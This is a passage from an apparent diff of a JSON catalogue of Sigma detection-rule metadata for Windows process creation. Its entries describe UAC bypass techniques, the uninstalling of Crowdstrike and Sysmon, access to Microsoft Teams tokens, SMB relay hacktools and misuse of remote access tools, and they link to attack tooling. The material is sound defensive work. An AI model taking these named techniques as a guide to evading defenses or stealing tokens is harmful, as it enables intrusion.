"https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", - "value": "Taskkill Symantec Endpoint Protection" - }, - { - "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", - "meta": { - "author": "Sreeman", - "creation_date": "2020/01/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_task_folder_evasion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/subTee/status/1216465628946563073", - "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.execution", - "attack.t1574.002" - ] - }, - "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", - "value": "Tasks Folder Evasion" - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "meta": { - "author": "@SerkinValery", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml", - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ] - }, - "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", - "value": "Suspicious Command With Teams Objects Pathes" - }, - { - "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_termserv_proc_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ] - }, - "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", - "value": "Terminal Service Process Spawn" - }, - { - "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/24", - "falsepositive": [ - "Legitimate files with these rare hacktool names" - ], - "filename": "proc_creation_win_tools_relay_attacks.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml", - "https://attack.mitre.org/techniques/T1557/001/", - "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://github.com/ohpe/juicy-potato", - "https://pentestlab.blog/2017/04/13/hot-potato/" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ] - }, - "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", - "value": "SMB Relay Attack Tools" - }, - { - "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", - "value": "UAC Bypass Tools Using ComputerDefaults" - }, - { - "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/01/24", - "falsepositive": [ - "Legitimate use by administrators" - ], - "filename": "proc_creation_win_tool_nircmd.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", - "https://www.nirsoft.net/utils/nircmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", - "value": "NirCmd Tool Execution" - }, - { - "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", - "creation_date": "2022/01/24", - "falsepositive": [ - "Legitimate use by administrators" - ], - "filename": "proc_creation_win_tool_nircmd_as_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.nirsoft.net/utils/nircmd2.html#using", - "https://www.nirsoft.net/utils/nircmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", - "value": "NirCmd Tool Execution As LOCAL SYSTEM" - }, - { - "description": "Detects the use of NSudo tool for command execution", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/01/24", - "falsepositive": [ - "Legitimate use by administrators" - ], - "filename": "proc_creation_win_tool_nsudo_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml", - "https://nsudo.m2team.org/en-us/" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", - "value": "NSudo Tool Execution" - }, - { - "description": "Detects PsExec service execution via default service image name", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_tool_psexec.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", - "value": "PsExec Tool Execution" - }, - { - "description": "Detects the use of RunXCmd tool for command execution", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/24", - "falsepositive": [ - "Legitimate use by administrators" - ], - "filename": "proc_creation_win_tool_runx_as_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://www.d7xtech.com/free-software/runx/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "93199800-b52a-4dec-b762-75212c196542", - "value": "RunXCmd Tool Execution As System" - }, - { - "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", - "meta": { - "author": "frack113", - "creation_date": "2022/02/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_tor_browser.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml", - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.003" - ] - }, - "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", - "value": "Tor Client or Tor Browser Use" - }, - { - "description": "Detect use of TruffleSnout.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_trufflesnout.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", - "https://github.com/dsnezhkov/TruffleSnout" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ] - }, - "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", - "value": "Launch TruffleSnout Executable" - }, - { - "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate use of the utilities by legitimate user for legitimate reason" - ], - "filename": "proc_creation_win_trust_discovery.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", - "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ] - }, - "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", - "value": "Domain Trust Discovery" - }, - { - "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/hfiref0x/UACME", - "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", - "value": "UAC Bypass Using ChangePK and SLUI" - }, - { - "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", - "value": "UAC Bypass Using Disk Cleanup" - }, - { - "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate use of cmstp.exe utility by legitimate user" - ], - "filename": "proc_creation_win_uac_bypass_cmstp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", - "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002", - "attack.t1218.003" - ] - }, - "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", - "value": "Bypass UAC via CMSTP" - }, - { - "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", - "value": "UAC Bypass Using Consent and Comctl32 - Process" - }, - { - "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_dismhost.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", - "value": "UAC Bypass Using DismHost" - }, - { - "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate use of fodhelper.exe utility by legitimate user" - ], - "filename": "proc_creation_win_uac_bypass_fodhelper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", - "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", - "value": "Bypass UAC via Fodhelper.exe" - }, - { - "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", - "value": "UAC Bypass via Windows Firewall Snap-In Hijack" - }, - { - "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_icmluautil.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml", - "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", - "value": "UAC Bypass via ICMLuaUtil" - }, - { - "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml", - "https://github.com/Wh04m1001/IDiagnosticProfileUAC" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", - "value": "UAC Bypass Using IDiagnostic Profile" - }, - { - "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_ieinstal.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", - "value": "UAC Bypass Using IEInstal - Process" - }, - { - "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", - "value": "UAC Bypass Using MSConfig Token Modification - Process" - }, - { - "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", - "value": "UAC Bypass Using NTFS Reparse Point - Process" - }, - { - "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", - "value": "UAC Bypass Using PkgMgr and DISM" - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_winsat.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", - "value": "UAC Bypass Abusing Winsat Path Parsing - Process" - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_wmp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", - "value": "UAC Bypass Using Windows Media Player - Process" - }, - { - "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown sub processes of Wsreset.exe" - ], - "filename": "proc_creation_win_uac_bypass_wsreset.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ReaQta/status/1222548288731217921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", - "https://www.activecyber.us/activelabs/windows-uac-bypass" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", - "value": "Bypass UAC via WSReset.exe" - }, - { - "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", - "value": "UAC Bypass WSReset" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/09/25", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_ultraviewer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", - "value": "Use of UltraViewer Remote Access Software" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", - "meta": { - "author": "frack113", - "creation_date": "2022/10/02", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_ultravnc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", - "value": "Use of UltraVNC Remote Access Software" - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", - "meta": { - "author": "frack113", - "creation_date": "2021/07/12", - "falsepositive": [ - "Uninstall by admin" - ], - "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", - "value": "Uninstall Crowdstrike Falcon" - }, - { - "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", - "meta": { - "author": "frack113", - "creation_date": "2022/01/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_uninstall_sysmon.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", - "value": "Uninstall Sysinternals Sysmon" - }, - { - "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ] - }, - "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", - "value": "Unusual Child Porcess of dns.exe" - }, - { - "description": "Detects suspicious parent process for cmd.exe", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_unusual_parent_for_cmd.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" - ], - "tags": 